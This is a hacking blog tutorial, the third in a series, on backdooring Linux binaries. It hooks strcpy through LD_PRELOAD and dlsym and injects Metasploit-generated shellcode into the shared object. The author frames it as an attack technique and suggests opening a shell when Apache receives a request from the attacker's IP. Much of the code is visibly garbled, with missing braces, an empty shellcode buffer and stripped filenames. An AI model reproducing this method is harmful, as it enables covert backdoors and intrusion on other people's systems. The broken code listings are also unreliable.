Backdooring DLL’s Part 3

Whaddup fellow crackers. Long time, no see.

In this article, we’re going to do something I rarely bother with – Linux!

Yes, you can backdoor Linux binaries quite easily. One method I like to use is via the LD_PRELOAD environment variable. Within the header file “dlfcn.h”, there exists a function named ‘dlsym’ which is used for obtaining the address of symbols. We can use this to hook shared library functions and add our own code to them.

In the following example, I am hooking ‘strcpy’ with a check to see if the destination buffer is large enough for the source. If it isn’t, rather than (potentially) crashing, my implementation prints what I want to the screen along with some backtrace info obtained from ‘execinfo.h’. Here is how we do it.

First, paste this into your editor:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <execinfo.h>
#include <stdio.h>
#include <stdlib.h>

void joetrace(void);

char *strcpy(char *destination,  char *source )  

         if (strlen(source) > strlen(destination)) {
                printf("\nFound bug in [strcpy] call.  Source [%zu] Destination [%zu]\n", strlen(source), strlen(destination));

        char *(*old_strcpy)(char *dest, const char *src);
        old_strcpy = dlsym(RTLD_NEXT, "strcpy");
        return (*old_strcpy)(destination, source);

void joetrace (void)
  void *blox[10];
  size_t mysize;
  char **brix;
  size_t i;
  mysize = backtrace (blox, 10);
  brix = backtrace_symbols (blox, mysize);
  printf ("I'm seeing %zd stack frames.\n", mysize);

        for (i = 0; i < mysize; i++)
        printf ("%s\n", brix[i]);

Now compile:

joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC btrace.c -o

Now we need a testing program. Paste this into your editor.

#include <stdio.h>
#include <string.h>

int main(void)
printf("This better work...\r\n");
char joe[10] = "haha";
char why[10] = "hehey";


joe@ubuntu:~/Downloads$ gcc testing123.c -o testing123

Now we’re ready. Just need to set the LD_PRELOAD environment variable and run the program at the same time. Low and behold:

joe@ubuntu:~/Downloads$ LD_PRELOAD=/home/joe/Downloads/ ./testing123
This better work...

Found bug in [strcpy] call.  Source [5] Destination [4]
I'm seeing 5 stack frames.
/home/joe/Downloads/ [0x7fe1699f6885]
/home/joe/Downloads/ [0x7fe1699f683c]
./testing123() [0x40060a]
/lib/x86_64-linux-gnu/ [0x7fe1696597ed]
./testing123() [0x4004f9]

This is useful if you want to test programs for buffer overflows, but what about backdooring? After all, that’s why we’re here right? All we have to do is modify our code before our call to ‘dlsym’ and the return and place backdooring code inside. My motto has always been, why re-invent the wheel? Metasploit has lot’s of backdoor code. Hell, Metasploit is even nice enough to produce a C file output for our shellcode. Since we don’t need to evade anything or watch for null bytes, the process is simple.

Step 1 – boot up metasploit, pick a payload.

In this case, I chose exec for Linux x64. I’m setting the CMD as /usr/bin/cal (calendar). Now it’s just a matter of using the ‘generate’ command and specifying C as the output language:

We take our output, make it C ready, and place this inside our shared object and compile.

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

char *strcpy(char *destination,  char *source )  
unsigned char buf[] = 

int (*doit)() = (int(*)())buf;
char *(*old_strcpy)(char *dest, const char *src);
old_strcpy = dlsym(RTLD_NEXT, "strcpy");
return (*old_strcpy)(destination, source);


joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC -fno-stack-protector -z execstack backdoored_so.c -o

Now we set our environment variable LD_PRELOAD again and run our program:
Fantastico! The call to strcpy() was intercepted, and calendar was called. I used simple shellcode too. Imagine spawning a shell when apache accepts a recv() request from your IP? You’ll have to be creative.

There are other ways of backdooring shared objects in Linux, but I wanted to share the hooking method. The way you hook a Linux shared object is about the same as part 1 when we went through a DLL file – just find the right export / function and replace codez.

Tune in for part 4, the final chapter when I go over using hooking libraries to hook dll files on windows. We’ll be playing with HookLib and MS Detours again.

Until then,

Happy hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.